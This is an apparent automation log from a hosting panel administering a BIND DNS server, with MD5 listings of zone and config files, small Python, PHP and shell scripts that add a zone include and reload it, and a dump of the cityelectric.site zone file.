MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 2aee35268d53a47768d9542c3137b896
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:40:40: 

PUT: /tmp/pkp841603

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '73c7599fdd5ae53f1a22acdec3f96f94'
ZONE_NAME = 'cityelectric.site'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-02-09 15:40:40: 

chmod 755 /tmp/pkp841603; /tmp/pkp841603; rm /tmp/pkp841603

2026-02-09 15:40:44: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-02-09 15:40:44: 

PUT: /tmp/pkp646150

#!/bin/bash
rndc reload cityelectric.site 2>&1


2026-02-09 15:40:44: 

chmod 755 /tmp/pkp646150; /tmp/pkp646150; rm /tmp/pkp646150

2026-02-09 15:40:44: 


zone reload up-to-date


2026-02-09 15:40:44: Establishing a connection
2026-02-09 15:40:44: 

PUT: /tmp/pkp372145

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:40:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp372145; rm /tmp/pkp372145'

2026-02-09 15:40:44: 
2026-02-09 15:40:44: 

PUT: /tmp/pkp643713

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-09 15:40:44: 

chmod 755 /tmp/pkp643713; /tmp/pkp643713; rm /tmp/pkp643713

2026-02-09 15:40:44: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt	1105
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
cityelectric.site.       		 IN    SOA      	cityelectric.site. hostmaster.cityelectric.site. ( 134130328 14400 3600 14400 3600 )
@                        		 IN    NS       	ns1.hostz.org.
@                        		 IN    NS       	ns2.hostz.org.
@                         300	 IN    A        	10.140.12.86
_acme-challenge           60	 IN    TXT      	"2d91YPguzluZPnvd4sCT2Ooz7nzE1mikd-8-MTWG9Q8"
_acme-challenge           60	 IN    TXT      	"q1IqJdRmYTTVWGws1-YFUJGZ9Wcs48TCdksCgndVLcw"
mail._domainkey          		 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxwxDyzsjHawWZqIzW4CXIinwR6ffikvpe/tIL/OsHMXeQKpqSYzL1ejRz6B9+PYCLGL1jXiVzY1L0TSDYxFi1URCUXLPKT479DYm+MQeJw4AS5da0Lozr72vS1TwUHBn5ikA4KpeLsDPY4rS3SYltt2ssUJvf5c2EJ5eSD9PVvFbeFGP9ln+4JqBmTGY" "apVA4mXPsup3VNE1eZFqDX35qi5ldDcqKbImY8+HpVguvG/vEp9XJCqRgspMrIm3wz9Gk5Umnjf24hrxMPYZXWRdYclwD7yVNb9Ma0+SstHVWWzJUsB8uibtClqCu2yqV3No3PKkTimCYAv56N8QbiR4KQIDAQAB"
www                      		 IN    CNAME    	dq-dev0f.ces-us.net






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
